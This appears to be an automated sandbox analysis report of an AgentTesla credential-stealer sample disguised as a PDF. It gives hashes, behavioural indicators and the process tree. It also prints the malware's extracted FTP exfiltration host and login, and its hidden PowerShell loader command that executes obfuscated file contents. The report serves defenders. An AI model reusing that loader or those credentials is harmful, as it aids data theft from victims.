agenttesla | b31c4835e17587d6b1f5f170da84abb8130519be8ea3fc5da07d47f548ffa18b

General

Target

Sutarčių analizė-pdf.exe
Size

711KB
MD5

102714cb47ab0624d79ed174a8231ad6
SHA1

8991d7808c89d2c6209322b20ea4a8b75f78fb44
SHA256

0da1ad1d456b5b7a028efcbfd9c3ee45af7c6830c87c1e7469faa089dbb0fe7e
SHA512

7467ec91c266be688bf97f92a72068bf3271b1c58bf7ded76fce89fa93a8c06d631727b68c4938df57dbab3f0a07a0f6820f3587e87155a77e9d424e288b9bf2
SSDEEP

12288:twFGHEOFmZPT0TRoi+kXjhk5na5hylgimtdYM3O0V7bbnL:t5HEOOPOaMd4na2lgZtub0V7z

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.vvspijkenisse.nl
Port:
21
Username:
[email protected]
Password:
playingboyz231

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Drops file in System32 directory 1 IoCs

Processes:

Sutarčių analizė-pdf.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini Sutarčių analizė-pdf.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msbuild.exe

pid process

1528 msbuild.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsbuild.exe

pid process

2428 powershell.exe
1528 msbuild.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2428 set thread context of 1528 2428 powershell.exe msbuild.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini	Sutarčių analizė-pdf.exe

pid	process
1528	msbuild.exe

description	pid	process	target process
PID 2428 set thread context of 1528	2428	powershell.exe	msbuild.exe

Drops file in Program Files directory 4 IoCs

Processes:

Sutarčių analizė-pdf.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Common Files\integraltegnets\substrate.Ski	Sutarčių analizė-pdf.exe
File created	C:\Program Files (x86)\cockling.lnk	Sutarčių analizė-pdf.exe
File opened for modification	C:\Program Files (x86)\cockling.lnk	Sutarčių analizė-pdf.exe
File opened for modification	C:\Program Files (x86)\Kldebonnets.kod	Sutarčių analizė-pdf.exe

Drops file in Windows directory 3 IoCs

Processes:

Sutarčių analizė-pdf.exe

description	ioc	process
File created	C:\Windows\bagvognen.lnk	Sutarčių analizė-pdf.exe
File opened for modification	C:\Windows\Calottes.Doo	Sutarčių analizė-pdf.exe
File opened for modification	C:\Windows\bagvognen.lnk	Sutarčių analizė-pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3500 1528 WerFault.exe msbuild.exe

pid	pid_target	process	target process
3500	1528	WerFault.exe	msbuild.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exemsbuild.exe

pid	process
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe
2428	powershell.exe
1528	msbuild.exe
1528	msbuild.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2428 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exemsbuild.exe

description pid process

Token: SeDebugPrivilege 2428 powershell.exe
Token: SeDebugPrivilege 1528 msbuild.exe

description	pid	process
Token: SeDebugPrivilege	2428	powershell.exe
Token: SeDebugPrivilege	1528	msbuild.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

Sutarčių analizė-pdf.exepowershell.exe

description	pid	process	target process
PID 1464 wrote to memory of 2428	1464	Sutarčių analizė-pdf.exe	powershell.exe
PID 1464 wrote to memory of 2428	1464	Sutarčių analizė-pdf.exe	powershell.exe
PID 1464 wrote to memory of 2428	1464	Sutarčių analizė-pdf.exe	powershell.exe
PID 2428 wrote to memory of 1528	2428	powershell.exe	msbuild.exe
PID 2428 wrote to memory of 1528	2428	powershell.exe	msbuild.exe
PID 2428 wrote to memory of 1528	2428	powershell.exe	msbuild.exe
PID 2428 wrote to memory of 1528	2428	powershell.exe	msbuild.exe
PID 2428 wrote to memory of 1528	2428	powershell.exe	msbuild.exe

C:\Users\Admin\AppData\Local\Temp\Sutarčių analizė-pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Sutarčių analizė-pdf.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1464

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Preciosity=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Spdlammene\cirka\Buzzardlike\Mavepinerne\Profanenesses.Gru';$Besvorne=$Preciosity.SubString(54587,3);.$Besvorne($Preciosity)"
2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2428

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1528 -s 1864
4⤵
- Program crash
PID:3500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1528 -ip 1528
1⤵
PID:372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Rkkens.ini

Filesize
32B

MD5
a8ca1db6ae34f5e5c152094f44f92476

SHA1
9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7

SHA256
1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3

SHA512
e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eeubztba.53b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Colorimetric\Indtappende\Hngekjeeffekt\Fradragendes.Att

Filesize
306KB

MD5
4e478447d9bbee96f0f4363fa03f3646

SHA1
ccd297ac9497fda8c12fab076d1871f1241113e8

SHA256
3d957ab6b870abeabd8f1c19cb39ed6ca54b6cece2a7d8610826a64c67654fd5

SHA512
f1e7db8f2dbc147832c41bb95965cf8d8359b1980a433e9a8325e773d307310538f97349fd0d8ca3658184ea3d46eb5177125117c4b863f490f116938ba71320

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Spdlammene\cirka\Buzzardlike\Mavepinerne\Profanenesses.Gru

Filesize
53KB

MD5
069fd38747b58c05cc92771b20ff6206

SHA1
be3b1d1460ac825103741964b76e1883f59fb8fa

SHA256
640d92dda0382f293796ccfc9c51d21da8c24bba7c8c12d8e189c9fdeb4dda64

SHA512
1f35e64354054a374215fb5013dcbd3835ae216a999e63736a6aeeb88184cce7c67801be09a9db3f830d50174ccb08d4afc67a21d47f3a889b279d781ba98b57

Download Submit
memory/1528-186-0x000000006E800000-0x000000006FA54000-memory.dmp

Filesize
18.3MB

Download
memory/1528-197-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/1528-195-0x0000000000A30000-0x00000000047C9000-memory.dmp

Filesize
61.6MB

Download
memory/1528-194-0x0000000022760000-0x0000000022770000-memory.dmp

Filesize
64KB

Download
memory/1528-192-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/1528-193-0x000000006E800000-0x000000006E840000-memory.dmp

Filesize
256KB

Download
memory/1528-190-0x0000000000A30000-0x00000000047C9000-memory.dmp

Filesize
61.6MB

Download
memory/1528-189-0x000000006E800000-0x000000006FA54000-memory.dmp

Filesize
18.3MB

Download
memory/1528-187-0x0000000077661000-0x0000000077781000-memory.dmp

Filesize
1.1MB

Download
memory/1528-188-0x00000000776E8000-0x00000000776E9000-memory.dmp

Filesize
4KB

Download
memory/2428-168-0x00000000062B0000-0x00000000062FC000-memory.dmp

Filesize
304KB

Download
memory/2428-185-0x0000000077661000-0x0000000077781000-memory.dmp

Filesize
1.1MB

Download
memory/2428-172-0x00000000064F0000-0x0000000006512000-memory.dmp

Filesize
136KB

Download
memory/2428-173-0x00000000075B0000-0x0000000007B54000-memory.dmp

Filesize
5.6MB

Download
memory/2428-150-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2428-153-0x0000000005030000-0x0000000005658000-memory.dmp

Filesize
6.2MB

Download
memory/2428-154-0x0000000004F90000-0x0000000004FB2000-memory.dmp

Filesize
136KB

Download
memory/2428-151-0x0000000002990000-0x00000000029A0000-memory.dmp

Filesize
64KB

Download
memory/2428-179-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2428-180-0x0000000002990000-0x00000000029A0000-memory.dmp

Filesize
64KB

Download
memory/2428-182-0x0000000002990000-0x00000000029A0000-memory.dmp

Filesize
64KB

Download
memory/2428-183-0x0000000008860000-0x000000000C5F9000-memory.dmp

Filesize
61.6MB

Download
memory/2428-184-0x0000000002990000-0x00000000029A0000-memory.dmp

Filesize
64KB

Download
memory/2428-171-0x00000000064A0000-0x00000000064BA000-memory.dmp

Filesize
104KB

Download
memory/2428-170-0x0000000006F60000-0x0000000006FF6000-memory.dmp

Filesize
600KB

Download
memory/2428-169-0x0000000002990000-0x00000000029A0000-memory.dmp

Filesize
64KB

Download
memory/2428-178-0x0000000007470000-0x0000000007474000-memory.dmp

Filesize
16KB

Download
memory/2428-167-0x0000000005F70000-0x0000000005F8E000-memory.dmp

Filesize
120KB

Download
memory/2428-166-0x0000000005970000-0x0000000005CC4000-memory.dmp

Filesize
3.3MB

Download
memory/2428-191-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2428-152-0x0000000002990000-0x00000000029A0000-memory.dmp

Filesize
64KB

Download
memory/2428-156-0x0000000005900000-0x0000000005966000-memory.dmp

Filesize
408KB

Download
memory/2428-155-0x0000000005890000-0x00000000058F6000-memory.dmp

Filesize
408KB

Download
memory/2428-149-0x00000000029A0000-0x00000000029D6000-memory.dmp

Filesize
216KB

Download
memory/2428-175-0x00000000081E0000-0x000000000885A000-memory.dmp

Filesize
6.5MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads